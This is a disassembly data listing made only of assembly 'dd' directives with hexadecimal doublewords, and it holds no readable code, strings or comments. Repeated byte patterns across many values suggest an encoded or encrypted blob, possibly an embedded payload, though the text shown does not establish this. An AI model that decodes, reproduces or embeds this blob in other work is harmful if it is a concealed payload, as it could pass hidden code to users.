		dd 0EE57B132h, 0C811776Ch, 8F50B243h, 0E40D473Ah, 56CFEEB7h
		dd 56525832h, 52AEB132h, 5697489Ah, 0DD8CD132h,	769D30FCh
		dd 378AB69Ch, 565DA3DBh, 0CF520532h, 65948B73h,	0CFC7CD20h
		dd 0E3E993E3h, 5642132Eh, 43F9BE32h, 0BFBAB132h, 565DB122h
		dd 104B95C9h, 69E81CF0h, 0E237D7F1h, 8E6315BFh,	5103B132h
		dd 8275B132h, 0F5F006FCh, 0DE52B885h, 56AEB12Bh, 5657A5DBh
		dd 0E0080A32h, 0DCB4ECEFh, 0A5F8F9F6h, 80F7ACh,	6FB3E86h
		dd 365DB148h, 56BC393Dh, 5ABFB132h, 1CABB132h, 4045C431h
		dd 0AC704400h, 0E760286h, 37623A54h, 0DC52B132h, 56AEB138h
		dd 599D3B52h, 56ABB1B5h, 56D5D032h, 0B96BD752h,	0D67A9239h
		dd 56BAB133h, 565DD0CBh, 56AEB6DBh, 1CA59E32h, 1D58E4A2h
		dd 4B5B132h, 56EAA5DBh,	0D5E8FE32h, 5A26AF15h, 0FBD7A150h
		dd 8F1BD285h, 548D2B3h,	0DDCDEBC9h, 56D5D0C8h, 0AAEAB1CBh
		dd 0E315B132h, 56A85819h, 7D10B132h, 3BE31613h,	0B2BD25E5h
		dd 5D574F4Eh, 6C97F288h, 4F5FD153h, 37B10052h, 59BAB153h
		dd 565DB7B8h, 8925D132h, 563667B9h, 56A45832h, 0C474B132h
		dd 3843CC73h, 43BBF37Dh, 72904BAAh, 365DB158h, 56AEB8DBh
		dd 4C394B32h, 0B1E1D264h, 372D8CC7h, 598AB132h,	87F54385h
		dd 56BAD047h, 63E6D752h, 84B00AE3h, 3636F9EEh, 95210F54h
		dd 56D33C3Dh, 0D3E5B132h, 5675B132h, 0BFBAB153h, 565DB13Ah
		dd 0EBB4BE6Ch, 3D6B89DFh, 5657B132h, 0E1DAD132h, 56EAD0F4h
		dd 30000252h, 0DB8E77B3h, 0A35DB153h, 30CEB132h, 0DD337588h
		dd 56ABD0C0h, 56D4383Dh, 5616B132h, 567A5832h, 0EC8B132h
		dd 5A41AE74h, 92DEEED0h, 1128C5CCh, 0BFABB11Ch,	56D5B122h
		dd 241F2B8Ch, 8E54B30Bh, 263691CCh, 0A0AF7259h,	565BB132h
		dd 30AFD132h, 37BBE68Ch, 5A3CB132h, 4DEAB132h, 0FC7E3D9Bh
		dd 0FE681068h, 0AF492B95h, 0BF52B132h, 5657B123h, 1F52801Eh
		dd 0F1623097h, 50457E41h, 45BF381Fh, 36BAB1EDh,	0C4D70B60h
		dd 0DCF59F7Ah, 5657D0F5h, 56A5303Dh, 5F3CB132h,	8DEAB132h
		dd 9D85FBE0h, 47648ED6h, 56A1B132h, 572DBE32h, 0AE57B132h
		dd 0E4CBB132h, 5E3CD0AAh, 4FEAB132h, 31A8417Eh,	56BAD1E3h
		dd 51DBBE32h, 36AEB132h, 0A1D777B9h, 0DAA4D088h, 56D5B139h
		dd 56EAB7DBh, 7AA6F232h, 56DC51ECh, 56535832h, 0E3DCB132h
		dd 0BB034840h, 2E90DC1Bh, 1F5CFB97h, 561FB132h,	0E17AD132h
		dd 56DB48F8h, 565D4932h, 56AEA5DBh, 0C997A832h,	0B09A3255h
		dd 4FA8C0A2h, 742C4504h, 0BD7E6AD9h, 36BAB110h,	39A3054h
		dd 56AED07Fh, 565C58CEh, 2A9EB132h, 11786BEBh, 6D540B5Eh
		dd 5975B1E1h, 56BAB0B0h, 565D4932h, 56AEB7DBh, 0C4F96C32h
		dd 36DE28EAh, 361F3054h, 0ADE50B76h, 56148506h,	713ABE32h
		dd 365DB132h, 56AEBFDAh, 3787A32h, 641149DAh, 9CB10323h
		dd 9923252h, 5675BDDBh,	46476532h, 637B724Dh, 698DB9CEh
		dd 56AFD0F5h, 56AB4D32h, 56D5A0DBh, 0B89DCB32h,	957576F1h
		dd 21E19703h, 548C48DBh, 56AED8FBh, 5657B8DBh, 39136532h
		dd 0C9A7DA83h, 56EACECBh, 5675A3DBh, 0E7846032h, 4E121536h
		dd 780D82D0h, 0F07BCA3Bh, 56C2B2ACh, 4051BE32h,	36EAB132h
		dd 5675BDDAh, 71823F32h, 0E7CF40CFh, 0A070BB62h, 3737EB7Bh
		dd 0BFABB153h, 56D5B139h, 0A797E859h, 5546F320h, 0AA505F1Eh
		dd 593DB132h, 56AEB3B1h, 0AA6D0032h, 0BFABB153h, 56D5B123h
		dd 8F1B83E8h, 0BCAF35B7h, 1280C978h, 1BD2417Ch,	59AEB177h
		dd 5657B0BEh, 56AB4832h, 56D95852h, 0F741B132h,	0EE605FC3h
		dd 148C4E74h, 563C0A5Dh, 56AE4832h, 0AE57B1C7h,	0BECBB132h
		dd 56D5B121h, 2D2B989Bh, 3DDBE596h, 3333CF03h, 5809F50Ah
		dd 0D7BD115Bh, 0D64A62F3h, 8F2BEE21h, 0D7DAD00Bh, 56EAB133h
		dd 0BF75B1CBh, 56BAB135h, 343AE97Bh, 56694FDBh,	5ED7BE32h
		dd 59ABB132h, 56D5B3BDh, 568BD132h, 567B5832h, 41FEB132h
		dd 0F49C6F9Dh, 0B80DC269h, 66B0AEE5h, 5657B132h, 4F5BBE32h
		dd 0BFEAB132h, 5675B126h, 0DEF18238h, 8762EC49h, 11558D9Ah
		dd 0D26EAD68h, 0ED8DA0ACh
		dd 36D5B1CAh, 56EB363Dh, 308DB132h, 378DA78Ah, 0DC52B132h
		dd 56AEB133h, 3657B1CAh, 0BE780E3Dh, 56D5B13Ch,	5F9D4ABEh
		dd 7ABC2EB0h, 6E55A33Eh, 37060ABCh, 5147B132h, 8557B132h
		dd 610DF2Fh, 56D575E6h,	56EB363Dh, 0BF8CB132h, 56BAB13Fh
		dd 0E2E3AC91h, 432624E5h, 7D384300h, 59ABB189h,	56D5B9BCh
		dd 0AD55D132h, 0AA4CC281h, 0BFBAB153h, 565DB123h, 9CD0B19Eh
		dd 4C108A70h, 775FF6B7h, 2FADEE28h, 56EA44F3h, 5EEE0952h
		dd 0DDDCB471h, 565DD0C3h, 4B10D752h, 88D6D702h,	56CADAF5h
		dd 56C55832h, 0DA43B132h, 0F72F1B39h, 0CC1D19E0h, 2E4AC26h
		dd 56AEAE1Fh, 56563B3Dh, 5653B132h, 5053BE32h, 36EAB132h
		dd 0C24EE65h, 36BAB153h, 5324658Ah, 0EF4B313Fh,	0BF57B153h
		dd 56ABB126h, 0BE175272h, 4F05489Dh, 959D362h, 5ECAC2E8h
		dd 7B2138E5h, 0DAA1B132h, 5657B135h, 56AA373Dh,	3620B132h
		dd 4892E188h, 5675D025h, 553DBE52h, 595DB132h, 0C716628Dh
		dd 373D992Ch, 5657B132h, 0BD6CD132h, 0BFE8F7F6h, 5675B13Ah
		dd 1DBB220Ch, 5343DF44h, 572BBE53h, 0A357B132h,	5653B132h
		dd 56C55832h, 0C637B132h, 29B9757Ch, 0D552479Dh, 3D454FB2h
		dd 59CE73D9h, 5657BDB1h, 56AC5832h, 5D7FB132h, 0E988A44Ah
		dd 567559A8h, 0D7E0B132h, 0B99309D8h, 56BC5835h, 8776B132h
		dd 89042FA8h, 93A694C7h, 0E81184DDh, 6A366D38h,	56BAB4DBh
		dd 4D033632h, 59CE7294h, 0DD31678Dh, 0D326D0F8h, 513B748Eh
		dd 56E63D3Dh, 0D77AB132h, 56BAB134h, 565D3B3Dh,	0D427B132h
		dd 51B8075Dh, 0CF293CCAh, 36D241A4h, 37280E3Dh,	36BB3A52h
		dd 0A669918Bh, 373CD17Eh, 0D02C3853h, 59505E84h, 56ABB9B2h
		dd 545BBE32h, 36EAB132h, 6F775953h, 5F53B132h, 675DB132h
		dd 4EC88623h, 9BFF2971h, 56A8A7DAh, 5057BE32h, 36EAB132h
		dd 3715EF61h, 0E8387653h, 565A5E87h, 59AEB132h,	5657B6B3h
		dd 3411D132h, 37D6F010h, 0D32C4460h, 519C976Bh,	5A35BE64h
		dd 595DB132h, 56AEB7B0h, 56D6BE32h, 3EABB132h, 0CA7D0960h
		dd 56EABEDBh, 1F4FB632h, 89546AD2h, 8F979E88h, 6F2E459Ah
		dd 5D4604CDh, 0D8A4B6DBh, 56D5B13Ah, 56E83F3Dh,	3715B132h
		dd 56BB3B3Dh, 0DBA1B132h, 0BA316AB7h, 565E5835h, 0BA3DB132h
		dd 706A6FD7h, 59628CBBh, 5675A3BDh, 5C52D132h, 0E95DB132h
		dd 0E73D5F75h, 79231FF5h, 0A9CAE856h, 0D35C49E2h, 5103AA33h
		dd 5675BFDBh, 0C61A4132h, 0A97EF999h, 0FF2B2D3Fh, 3CC1FCF4h
		dd 56A75836h, 0D9F5B132h, 703798CFh, 60C4510Dh,	0DCB5AC6Eh
		dd 565DB128h, 56BF5852h, 60ADB132h, 8D21BFA5h, 0AA19427Ah
		dd 31752C3h, 0E7012ACCh, 56D2D040h, 595DB122h, 56AEA1BFh
		dd 565C5832h, 7DA5B132h, 0BE3C051Ah, 0DF5CD62Eh, 5B35D91Fh
		dd 59DAB131h, 565DB4B0h, 0B02FD732h, 51BE63B0h,	49ABB132h
		dd 7A967D3Ah, 3C8B2D1Ch, 0DA7A4932h, 56BAB137h,	0AEF50652h
		dd 597E4E53h, 5657AFBBh, 4E20BE32h, 0BFD5B132h,	56EAB121h
		dd 9D00D541h, 131B0619h, 1617F381h, 404B05E6h, 0C85294Fh
		dd 56BB3B3Dh, 5D3CB132h, 39EAB132h, 8249020Dh, 97AA4EA2h
		dd 965688AEh, 57F9353Dh, 0DB58B132h, 56ABB13Bh,	8854D752h
		dd 378A8B9Bh, 0E8F73853h, 59BD5E87h, 565DA3BBh,	5A2BBE32h
		dd 0BF57B132h, 56ABB135h, 0C48BDD19h, 0DF8CEEDAh, 0B9C050B0h
		dd 16034935h, 0A35DB23Fh, 584749B9h, 0A957B132h, 520378B1h
		dd 41A6BE1Fh, 5B916926h, 96464D52h, 5838BE52h, 0BE5DB132h
		dd 56AEB13Ah, 0EF466ACBh, 5DAD84E2h, 996ABE6Dh,	0BF404253h
		dd 5675B122h, 0CDB4673Ch, 0CD4AC56h, 75A09F7Ch,	95B83297h
		dd 5E23BE60h, 59D5B132h, 56EAB3BEh, 3C14D132h, 0D7B5D136h
		dd 565DB120h, 56AEBDDAh, 0E3AC6B32h, 0F96AA433h, 0B45D3DEAh
		dd 5103EEB1h, 0DF75B132h, 9B2FBB73h, 3E3CF9A6h,	56AEA132h
		dd 5657BDDBh, 0ED132132h, 99497E78h, 0C3B3626Ch, 0EF24D128h
		dd 78E50614h, 373DD168h, 56AE313Dh, 3736B132h, 56AFB15Ah
		dd 56BF4832h, 0B86BD752h, 0ED137AA0h, 59DBE7E0h, 565DB0B0h
		dd 0C4514832h, 51BEAA33h, 56BF313Dh, 593CB132h,	73EAB132h
		dd 0F2605300h, 56C6374Ch, 43F1EE9Ch, 0BFF417FCh, 5657B139h
		dd 9232E84Dh, 0C57B5D23h, 0DF754F43h, 0B9CD21B0h, 5F53D135h
		dd 0F65DB132h, 393AAB66h, 72B2232Fh, 6E433052h,	0BF8C84D3h
		dd 56EAB135h, 903FF112h, 37EC6A9Ah, 0DA52D053h,	56AEB133h
		dd 0E8D23ACAh, 0AFAC5E87h, 56C2343Dh, 4403B132h, 4E75B132h
		dd 3A5AD5F2h, 52072E8Fh, 2B972665h, 0EA993A23h,	424272A2h
		dd 5FD5B132h, 0E80722F8h, 0F805A36h, 0CDB25h, 81F55385h
		dd 36D5519Bh, 87E0BE52h, 412D0961h, 378AD447h, 56EAA0DBh
		dd 0BBE90432h, 0E43EAC33h, 0D0B730Bh, 90162435h, 0D490B49Ch
		dd 5142ABB3h, 5695B132h, 2F6876CEh, 56725820h, 0AABAB122h
		dd 56505952h, 4B89B132h, 0CD234B68h, 7D0D4288h,	0FD8C0F2h
		dd 0EA152B3h, 3714C066h, 56A33A3Dh, 0EE3DB132h,	6CB91341h
		dd 5657BCDBh, 2EC53932h, 179C0CACh, 0D31EAF8h, 951450D8h
		dd 56BAA2DBh, 0C87E2832h, 15DDCA44h, 8A900EF7h,	0F32155Ch
		dd 0E8303D91h, 56F95852h, 6DD6B132h, 3D4E9034h,	0B681D085h
		dd 0CDED3846h, 771D7C29h, 0E8113AA2h, 0BFD25E87h, 56EAB13Fh
		dd 13EBA1E4h, 6C4D3E08h, 0E5C9BF6Bh, 56BC58D1h,	0EF5DB132h
		dd 57A760E9h, 79AAFD3Ch, 7E65940Bh, 9AFECE3Ah, 59BA8EB1h
		dd 565D75B6h, 582EBE32h, 3657B132h, 56AB393Dh, 8554B132h
		dd 4E1D2533h, 0D77AD153h, 56BAB132h, 37AF52B2h,	54BECEB1h
		dd 560D353Dh, 0DCA4B132h, 56D5B133h, 469532CEh,	20F1BE36h
		dd 0BFBAB132h, 565DB13Fh, 0CD32EA67h, 95630A30h, 4838FC77h
		dd 5F52BEE2h, 36EAB132h, 96100F54h, 376D063Dh, 364976B1h
		dd 0EF690E3Dh, 143FF2EEh, 0A9215853h, 473C4ECDh, 15EAB132h
		dd 0C76C2FCEh, 0D573BDABh, 0BC769181h, 0F2E21CE3h, 5747F6F5h
		dd 59ABB132h, 56D5B5BAh, 15ED132h, 0A9B75853h, 44534ECDh
		dd 675DB132h, 5326945Ah, 0FFE6ACAEh, 0B710D478h, 2DA21C78h
		dd 46AD7670h, 5675B131h, 56BB353Dh, 0BFA4B132h,	0A9514EAAh
		dd 0D258D0C7h, 56ABB133h, 5750BECBh, 0A3EAB132h, 57FFBEF1h
		dd 0AEBAB132h, 0A5D6D167h, 0DDCF4DB8h, 57D2BEDEh, 0A3ABB132h
		dd 0D7B3D152h, 59ED96C1h, 0BE144985h, 56BAB132h, 6CB73068h
		dd 59A95EE6h, 5657BFB1h, 56A25832h, 86DAB132h, 0D8A7FF39h
		dd 0AEF4A384h, 306A3B52h, 0DD3C77B9h, 0B9161580h, 0A4D6D135h
		dd 0E149642h, 56D5BADBh, 624E6A32h, 3BA36E48h, 6D6BC1C0h
		dd 5ED9BE53h, 36AEB132h, 5657353Dh, 0DDCAB132h,	0DF20B977h
		dd 0D4694D34h, 519A0996h, 9D3AD136h, 9EDCD73Fh,	37CF2D81h
		dd 59D4BE52h, 0BFABB132h, 56D5B138h, 0E8BF8CF6h, 43AF000Eh
		dd 9FDB1D7Eh, 565DBCDBh, 1A54B332h, 79665B39h, 0A5360EE9h
		dd 5217B8C1h, 5F03D132h, 8275B132h, 0A30D89Ah, 9B3D0523h
		dd 37703A54h, 0D731D152h, 0DD9D3AF4h, 0BE2DD0CBh, 56EAB132h
		dd 0A49F3068h, 36BD5EE6h, 0A7BC0B54h, 56A95853h, 142FB132h
		dd 625F9DA3h, 0C6673A38h, 0BFED5E8Ah, 5675B13Dh, 0C5E54A46h
		dd 7612AD62h, 0B4E42545h, 6D43FD4Fh, 0B9131580h, 0DA51BE35h
		dd 59EAB133h, 5675B0BCh, 68314D32h, 5652343Dh, 5C47B132h
		dd 0DB57B132h, 33715019h
		dd 58A0AF9h, 56EF5809h,	641CB132h, 0DD766BCCh, 57DDBEEDh
		dd 0AEAEB132h, 5718073Dh, 56AA393Dh, 0A029B132h, 596AB075h
		dd 567593B7h, 8FB94832h, 565DBFDBh, 6F96D132h, 0BEDDCC5Ah
		dd 9157EB95h, 0BF814701h, 56EAB138h, 5674333Dh,	7D4FB132h
		dd 0BF1E4DEBh, 56AEB122h, 0DBA812A0h, 52B9FA7Fh, 57C787FDh
		dd 0D97176E6h, 0D3FE4871h, 51539B23h, 37E2D152h, 59E23D37h
		dd 30367E8Dh, 0AFFE73B3h, 865FD153h, 37230E3Dh,	4DC83CB9h
		dd 5853B6DBh, 0D25DB132h, 700FD74Ch, 32158C79h,	620202A8h
		dd 0DDB3D19Bh, 56E558E3h, 2FC6B132h, 5BAD9348h,	27A5F4F6h
		dd 51DF6B67h, 8E6CD0E9h, 56FA333Dh, 6D20B132h, 1E6DBEEBh
		dd 5975B132h, 56BAA2B8h, 56535832h, 8B33B132h, 9353B1C0h
		dd 0E3911AD8h, 0CB6BF598h, 59EE77B1h, 5675A5B5h, 56B55832h
		dd 0D35EB132h, 584392A4h, 83648D12h, 0F794DCD7h, 0A800588Fh
		dd 5E034ECDh, 1275B132h, 9957FB13h, 6D887ECBh, 0E2ABEFDh
		dd 5957B132h, 56ABA7BBh, 5E3DD132h, 0C7EAB132h,	5626A711h
		dd 0E76ADEDh, 617777B3h, 0DFCFB243h, 0BF4C0C8Fh, 56B95835h
		dd 3C5CB132h, 56442AFAh, 907FD9D2h, 0FBCBD15Ah,	58EDE95Eh
		dd 0A950D9DBh, 5FBFD1CDh, 62ABB132h, 0D801B378h, 0D7B62BEDh
		dd 5675303Dh, 59E1B132h, 373C7E8Dh, 365272CEh, 7A9E3052h
		dd 3088D133h, 3756C08Dh, 56EAA0DBh, 0C1256532h,	0A651F04Ah
		dd 529ED410h, 0F06FCB6Ch, 56BFD36Bh, 0CABB132h,	803C5BB3h
		dd 5913B6DDh, 5675A5B6h, 56B55832h, 11D2B132h, 537A5E0Ch
		dd 38418552h, 25A54FCCh, 0C66F3A56h, 0A3ED5E8Ah, 5674B18Bh
		dd 5A30BE32h, 595DB132h, 56AEB7B4h, 56D0BE32h, 59ABB132h
		dd 56D5B0B9h, 96D94832h, 5675BFDBh, 0A9799732h,	0B89CC3DFh
		dd 9EBBCF17h, 0A5EEA9BEh, 5D23BE99h, 0BFD5B132h, 56EAB134h
		dd 0D28E9A1Dh, 0D4315732h, 51B209A2h, 56A75852h, 3087B132h
		dd 6A5950E1h, 0BFEE9FD7h, 56EAB138h, 0DC0FA038h, 6CD676BDh
		dd 593C5572h, 56AEA0BEh, 565B5832h, 0CADBB132h,	4D4208ACh
		dd 609E967Bh, 0D4FCE36Bh, 51550996h, 303DD0CAh,	0AAA6AD8Dh
		dd 36A27253h, 56AB59CBh, 0D78FB132h, 0B93D1DD8h, 5E9CD135h
		dd 0C3BAB132h, 0A06066BEh, 0D7752F5Ch, 0ACAE9FD5h, 0D4A4D010h
		dd 56D5B12Bh, 56EAA5DBh, 0F7BBE732h, 3025C84Ch,	0C6EF1442h
		dd 0C2C5D21Fh, 0CFCB90ACh, 0F2E7793h, 0D25814h,	0D78CE752h
		dd 81776FBh, 3749063Dh,	4930885Ah, 5A46D1E6h, 0D957B132h
		dd 8AF22948h, 0E9A8968Ah, 30788AFDh, 592E48B9h,	56BAB3B5h
		dd 3703E032h, 5DBF04CDh, 0DBA2B6DBh, 0BA346AB7h, 862A4435h
		dd 56EABADBh, 28E36732h, 0D4F6D2B2h, 0D10558B6h, 0DDC8D160h
		dd 0AEE8BEF4h, 3E5EE153h, 56D53132h, 0BFEADBCBh, 5675B13Fh
		dd 94B5C738h, 1F4BD86Eh, 783E4C66h, 0E8E54E0Ah,	36AC5E87h
		dd 81A3A61h, 37183A54h,	5675A3DBh, 21E50E32h, 75CD598Fh
		dd 365191F5h, 3E86CE9Ch, 0A99BC7F7h, 56DA58E2h,	283B132h
		dd 674512EFh, 0C7D21C07h, 8F2DBB48h, 0C56E984h,	0D657D9CEh
		dd 3C52B132h, 226CD132h, 0D7C482CFh, 3D11AC0h, 0E445D022h
		dd 51B209A2h, 56A95852h, 4A17B132h, 0A108BB6Dh,	0C08E085Ch
		dd 0A98BF824h, 0AA1448E2h, 59EF49F1h, 565DBCB1h, 56A65832h
		dd 0FBF7B132h, 0BD6004D7h, 0BA5E3450h, 56E63E3Dh, 0D27AB132h
		dd 56BAB134h, 565D3D3Dh, 0A3CEB132h, 5657B1DAh,	0BC2AEB32h
		dd 513A6835h, 56E4373Dh, 5F9CB132h, 0A2BAB132h,	53D1F2DEh
		dd 0BAE039DAh, 0BFABD1CEh, 56ABB137h, 96A8BF12h, 2361D0A1h
		dd 51FCBE3Ah, 36BAB132h, 39823054h, 0BE57D0B5h,	5657A16Fh
		dd 527D3052h, 59B7AF97h, 56EAB7BBh, 1B9F3032h, 37A3E82Eh
		dd 45B5D167h, 0F7AEB132h, 306B74DCh, 0B3F18735h, 0C3D5584Eh
		dd 229493B9h, 97FEA5CDh, 37743A69h, 0E03223CDh,	30CEB6DDh
		dd 3064658Ch, 3737528Ah, 23EE4D6Fh, 0FA6FBE3Eh,	0AF8A4ECDh
		dd 56AAB9DAh, 0A7DDD132h, 56BE589Eh, 312BB132h,	1FA4764h
		dd 0CE07D68h, 0BCE40610h, 37144D94h, 56AB393Dh,	5AB4B132h
		dd 8AAEB132h, 8AA5703Ch, 0F67E9599h, 9FD5A3FDh,	56E273C7h
		dd 5675BCDBh, 728CF832h, 0CA97E984h, 0E2DCCFCAh, 360252B9h
		dd 5F4349B9h, 0B0D5B132h, 0B375FFBFh, 74EECD9Dh, 0E413A54h
		dd 564D5853h, 0AD3FB132h, 494BB1A8h, 0B6494EA0h, 21CCAD08h
		dd 0BA61A775h, 5675A0DBh, 0FE764E32h, 0AD6E8BA3h, 28D2D5FEh
		dd 83900F1Ch, 92286DD3h, 0D7B3D1CEh, 4C78DD3h, 5675A1DBh
		dd 9730FD32h, 0BD82964h, 974E1E6Bh, 52E0097Eh, 0CAEBE0h
		dd 0B754D152h, 234835BFh, 2C6947B3h, 37DBE5EBh,	565DA3DBh
		dd 0FA98F032h, 652FF810h, 3FC95683h, 29851D1Eh,	1822931h
		dd 5675BFDBh, 5D087F32h, 0C17F4B52h, 83C3D68h, 521F88Ah
		dd 56BF343Dh, 593CB132h, 0EBEAB132h, 0C49C8AFh,	0F8C57431h
		dd 241B6EEh, 56462CD4h,	0C57B132h, 8C0E5BB3h, 592DB6DDh
		dd 56EABDB6h, 56725832h, 0EDC3B132h, 3AD4D6F7h,	5EDB3A86h
		dd 37820052h, 56ABBDDBh, 0AB5EEF32h, 0D1A30A7Fh, 7FD2FC23h
		dd 46C73A35h, 0D152E6CBh, 56AEB133h, 45BEE7CEh,	1FABB132h
		dd 6AE4283Eh, 0E66A84E0h, 7E6367F4h, 142C73CBh,	36B5BEBDh
		dd 59AEB133h, 5657B0B1h, 96A04932h, 561B353Dh, 0DD12B132h
		dd 44FFBECAh, 0BFBAB132h, 565DB13Fh, 3EF282A7h,	84A8F394h
		dd 811DFC54h, 0DDDAE405h, 56EAB124h, 5675A0DBh,	64AB0332h
		dd 0F739EE04h, 776DC186h, 52BB763Dh, 0DDA4CAC3h, 56D5B13Ah
		dd 56E8363Dh, 3715B132h, 0E0D523CDh, 5BB4B6DDh,	33AEB132h
		dd 1D68C6B3h, 1979596h,	0B41305ADh, 23D14D6Fh, 33F1BE3Eh
		dd 36BAB132h, 843054h, 552EBE1Eh, 3057B132h, 30CA68B9h
		dd 59B5AFB9h, 0DCE54A8Dh, 5675B131h, 376A3A54h,	0A3AD56B2h
		dd 5520BE52h, 5957B132h, 0A3F9498Dh, 485FD068h,	0A60931C7h
		dd 7F6459CEh, 0D1B5B132h, 565DB127h, 56AEA1DBh,	7340BB32h
		dd 7C92BBEFh, 35309AD3h, 606C5911h, 0A9765879h,	36464ECDh
		dd 37A33A54h, 0AE52CCBBh, 0A9A0B6DAh, 0D7CDD1CDh, 0EC4D8FE2h
		dd 1441F16Ch, 429CEA53h, 0ABAB132h, 50B9D5C6h, 9B7C75F6h
		dd 0F6B07E29h, 166870D3h, 93A20E5h, 56EABFDBh, 1B1E8B32h
		dd 0AFDE46DBh, 82292CF4h, 36DA8BBAh, 109E252h, 9E20D06Ch
		dd 0DDB5EF53h, 7E300BE3h, 0DD14EB60h, 59534D77h, 0B35DB132h
		dd 478DEB6Eh, 0D13C9503h, 0C22A81E1h, 9F29A05Eh, 56E673CAh
		dd 567C3F3Dh, 5DAB132h,	0A8430A6Ah, 3CF8461h, 5675323Dh
		dd 0BECBB132h, 56D5B137h, 979C4514h, 469CE9B8h,	6CBAB132h
		dd 0E8191B87h, 0F9FE4DAFh, 0BE097343h, 3747E409h, 0D52C5DB9h
		dd 11F49F6h, 5675BDDBh,	0AA759B32h, 77AA4DD8h, 2DB28D09h
		dd 59014983h, 56ABA9B0h, 56C65832h, 8BF6B132h, 8B7DF7C9h
		dd 82A88A7Dh, 0EA44622Ch, 0DCE7E517h, 58BEE00Eh, 81ABB132h
		dd 5FA71402h, 633E2E85h, 3060A5E0h, 5E3EBEFCh, 595DB132h
		dd 56AEB3BCh, 536D132h,	56A65952h, 0D993B132h, 5E277071h
		dd 4790F058h, 599C8AB1h, 0BF054A8Dh, 56AEB13Dh,	1FB66978h
		dd 0A9192B8Fh, 0B872DDF0h, 37D95E01h, 568DF4F5h, 36BAB132h
		dd 0AE9E3A54h, 742C7653h, 57505E8Ah, 0BFABB132h, 56D5B13Ch
		dd 0C9C765C5h, 0F8B483B8h, 84E1123Ch, 0DA523FF8h, 56AEB133h
		dd 5E223ACBh, 56A33F3Dh
		dd 0D0DAB132h, 56EAB130h, 0DD13D052h, 5C31BE2Ch, 365DB132h
		dd 8B663188h, 0D0923150h, 0E8113A53h, 59D25E87h, 56EAB6BDh
		dd 57F8BE32h, 0AABAB132h, 565DB6DBh, 98ED5732h,	0E5BA5756h
		dd 36A3EEB9h, 945ED7CEh, 5931BA53h, 5675EDB6h, 51534832h
		dd 8E5DB132h, 175A96FBh, 886CCE7Dh, 5698343Dh, 0DD20B132h
		dd 5103BD6Fh, 1575B132h, 19B11E38h, 9D4412Bh, 56BE583Eh
		dd 44F8B132h, 0C6E8E112h, 0E00F39C6h, 9CF6EC74h, 509CBE9Ah
		dd 5CBAB132h, 9882D3C7h, 426932BAh, 0A9C958CEh,	50424ECDh
		dd 0B5D5B132h, 16F2AC5Fh, 48FED7A0h, 56A8333Dh,	5BB4B132h
		dd 0CAAEB132h, 4DE9ABF4h, 0B8DFEEF4h, 31F75B50h, 0BE1131CBh
		dd 521D353Dh, 5C53B132h, 0F15DB132h, 0FDF85C3h,	0A3724EF9h
		dd 422BBE41h, 0BFD5B132h, 56EAB13Dh, 1B68F17Bh,	0B1EDE569h
		dd 0C763004Ah, 0D63A9742h, 0D25858C9h, 56ABB504h, 56DA5952h
		dd 0C69B132h, 374273D2h, 176B876Eh, 3E4916B0h, 56BF58FCh
		dd 0BE19B132h, 333F739h, 0C66D2E99h, 14B1C2A1h,	8AB0750h
		dd 56AF373Dh, 59B5B132h, 0D5AEB132h, 61955168h,	879DED53h
		dd 42723373h, 37B27F5Ah, 599E4AB2h, 56B954B6h, 56495832h
		dd 2063B132h, 0B0E59A9Ah, 0F364F8A1h, 0B3543245h, 0F9901563h
		dd 0ADF5B9C9h, 0E73EBED0h, 0BF5DB131h, 56AEB135h, 1E9F4081h
		dd 59216404h, 56D59DBEh, 5903D132h, 0AC75B132h,	250D0C26h
		dd 29ECAA6Dh, 987216C8h, 47BEBB3Dh, 61ABB132h, 87540639h
		dd 3102FB48h, 5CF6DB80h, 0CCBB51DDh, 0B5A63153h, 55E9353Dh
		dd 42BEB132h, 65ABB132h, 5DA28CECh, 67102845h, 3F9CB6EDh
		dd 5D75BE0Bh, 3012A41Dh, 0B5C94AB3h, 5511353Dh,	0D2A4B132h
		dd 56D5B13Eh, 56EC353Dh, 0D77AB132h, 56BAB132h,	59AD56B2h
		dd 56AEA4B7h, 56475832h, 652CB132h, 9E862F04h, 9AE43058h
		dd 3D5FDABBh, 0D7DC1E6Fh, 59DDBEC9h, 56ADACB6h,	86D7D132h
		dd 841CBE8Ah, 0A6363153h, 56EABFDBh, 88BC2032h,	48816A49h
		dd 3CA1FEFAh, 0D601269Fh, 0D258C1C9h, 56ABB3C4h, 56C75852h
		dd 0D3FFB132h, 7332ADFAh, 143D95FFh, 323A1BE4h,	12A5071Bh
		dd 0EB60854h, 4820D753h, 0B55544C7h, 4852D1CAh,	304A0DB9h
		dd 0BA2A56B3h, 0EEA63153h, 5767353Dh, 0BF37B132h, 56ABB126h
		dd 0BAA39816h, 0E58073F7h, 4157CB4Bh, 0AEFF753Fh, 2787E443h
		dd 56AEA2DBh, 75394432h, 9C34DC77h, 0D36F0C9Bh,	0E0F59115h
		dd 0CCB724C3h, 53843153h, 57D0353Dh, 0D657B132h, 0D2589C0Ch
		dd 56ABB0B1h, 56D9373Dh, 5103B132h, 6575B132h, 4DCECBF1h
		dd 68DD2B46h, 3E2ABE5Ah, 0A357B133h, 0FF18D152h, 56D5B9DBh
		dd 700D8432h, 79B92513h, 0A9DBD0BEh, 0B9E593B0h, 56A65835h
		dd 55E7B132h, 34CB92E9h, 0DDB3502Eh, 0ED8CD12Ch, 88F48B20h
		dd 5E358E82h, 0AEBA3153h, 0AD2FD7CBh, 0D25859B3h, 56ABB011h
		dd 56C45952h, 0B5B0B132h, 4CE39BEEh, 0D7ACA09Ch, 5F422830h
		dd 3042B0C8h, 0BD5572B3h, 377A3B6Dh, 56D2313Dh,	0D8E5B132h
		dd 5675B133h, 4831D7CEh, 565DB9DBh, 3FB6ED32h, 804E6CE8h
		dd 0A64C31C5h, 56D5BCDBh, 5602FC32h, 4093BE68h,	0A764AE0Ah
		dd 0D73B5F3Fh, 596E30C9h, 565777B6h, 572ABE32h,	0AED5B132h
		dd 30BDD152h, 0FF1B48Ch, 59EFD0CBh, 565DBFB7h, 5347D132h
		dd 5D57B132h, 50CF5FACh, 0A9B442B9h, 0B95CDEA0h, 0B894935h
		dd 56AB5952h, 8C84B132h, 0ECC2F69Fh, 32848A8Ch,	0FE8FD1E7h
		dd 30961A2Bh, 137042B3h, 372CE76Dh, 56973F3Dh, 0BE3DB132h
		dd 56AEB126h, 0D040B417h, 7EEE4539h, 18BF6E2Ch,	0DE52D68Ch
		dd 0F7EA1B0Ch, 56B6586Bh, 51C1B132h, 134F4D6Eh,	53E18AC1h
		dd 0DFCAA4C8h, 0DBDA4D77h, 56EAB13Ch, 5675B8DBh, 40533B32h
